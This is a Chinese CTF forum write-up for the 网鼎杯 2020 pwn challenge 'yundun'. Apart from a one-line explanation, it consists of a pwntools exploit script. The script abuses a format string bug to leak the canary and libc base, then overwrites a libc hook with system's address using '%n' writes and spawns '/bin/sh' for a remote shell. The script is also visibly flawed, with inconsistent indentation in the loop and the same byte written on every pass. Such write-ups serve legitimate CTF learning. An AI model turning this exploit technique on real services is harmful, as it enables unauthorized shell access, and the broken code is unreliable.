roger 发表于 2020-5-19 17:51:48

wdb网鼎杯_2020_pwn_yundun

题目链接:
https://www.xuenixiang.com/ctfexercise-competition-414.html


main函数的最后发现格式化字符串漏洞:



通过泄露libc地址来获取system以及‘binsh’地址,编写脚本getshell,拿到flag
from pwn import *
context.log_level="debug"
r = remote('xuenixiang.cn', 25413)
#r = process('./pwn')
r.recvuntil('> ')
r.sendline('vim 2')
r.recvuntil('> ')
r.sendline('%31$p%35$p')
r.recvuntil('> ')
r.sendline('cat 2')
r.recvuntil('> ')
canary = int(r.recv(18), 16)
libc = int(r.recv(14), 16) - 0x0020830

sys_addr = libc + 0x045390
get_addr = libc + 0x03c67a8
for i in range(6):
    r.recvuntil('> ')
      r.sendline('vim 2')
      r.recvuntil('> ')
    r.sendline('%{}c%11$n'.format(ord(p64(sys_addr))))
      r.recvuntil('> ')
    r.sendline('cat 2' + 'ccc' + p64(get_addr+i))
r.recvuntil('> ')
r.sendline('vim 2')
r.recvuntil('> ')
r.sendline('/bin/sh\x00')
r.recvuntil('> ')
r.sendline('rm 2')

r.interactive()


页: [1]
查看完整版本: wdb网鼎杯_2020_pwn_yundun